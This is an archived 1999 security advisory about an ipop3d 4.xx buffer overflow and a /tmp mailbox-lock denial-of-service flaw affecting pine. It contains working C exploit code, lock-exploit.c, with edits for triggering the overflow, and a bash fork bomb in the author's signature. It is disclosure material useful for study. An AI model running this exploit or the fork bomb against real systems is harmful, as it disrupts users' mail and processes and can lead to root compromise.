home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / ipop3d_4_xx_bof.txt < prev    next >
Encoding:
Internet Message Format  |  1999-04-11  |  2.7 KB

  1. Date: Sun, 7 Mar 1999 01:41:25 +0100
  2. From: Michal Zalewski <lcamtuf@IDS.PL>
  3.  
  4. Overflow in CAC.Washington.EDU ipop3d 4.xx
  5.  
  6. CAC.Washington.EDU ipop3d 4.xx, at least on Linux platform, has serious 
  7. security hole. When data is read from so-called mailbox lock created in 
  8. /tmp directory (this happens under certain conditions - please refer exploit 
  9. code below), it's stored in _too_small_ buffer. It is possible to overwrite 
  10. some data, and registers as well. For testing purposes, simple exploit code 
  11. presented below could be used - suggested changes:
  12.  
  13. write(i,"-1",2)   ->   write(i,"(about 1100 b)",1100)
  14. truncate(i,2)     ->   truncate(i,1100);
  15.  
  16. Exploited overflow in ipop3d could be used to gain superuser access (the
  17. only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).
  18.  
  19. CAC.Washington.EDU ipop3d is shipped by default with Red Hat Linux,
  20. included in IMAP package.
  21.  
  22. Solution: you have to look for something like kill(i,SIGUSR2) in sources 
  23. and modify lines just before it ;>
  24.  
  25.  
  26. The problem is probably well known, but silently ignored by pine vendors.
  27. Unfortunately, it's possible to turn 'mostly harmless feature' in
  28. something nasty - following code allows various DoSes by killing all
  29. processes of luser (could be root?) every time he/she runs pine or
  30. receives mail via POP3 protocol:
  31.  
  32. -- lock-exploit.c --
  33. // Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.
  34.  
  35. #include <sys/file.h>
  36. #include <sys/stat.h>
  37. #include <unistd.h>
  38.  
  39. main(int argc,char* argv[]) {
  40.   int i,a=0;
  41.   char s[100];
  42.   struct stat x;
  43.   if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));
  44.   sprintf(s,"/var/spool/mail/%s",argv[1]);
  45.   if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
  46.   sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
  47.   fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
  48.   while (1) {
  49.     lseek(i,0,0);
  50.     write(i,"-1",2);
  51.     ftruncate(i,2);
  52.     fsync(i);
  53.     if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
  54.       else printf("File %s already locked, wait...\n",s);
  55.     sleep(1);
  56.   }
  57. }
  58. -- eof --
  59.  
  60. Works well under Linux. Under BSD, pine seems to have broken mailbox
  61. access negotiation (fortunately ;-). No information about ipop3d.
  62.  
  63. Mainly, this vunerability demonstrates that world-writable mailbox locks
  64. in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's
  65. 'harmless', while other solutions allows several DoS attacks... huh).
  66.  
  67. -
  68.  
  69. _______________________________________________________________________
  70. Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
  71. [Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
  72. [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
  73. Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
  74.  
  75.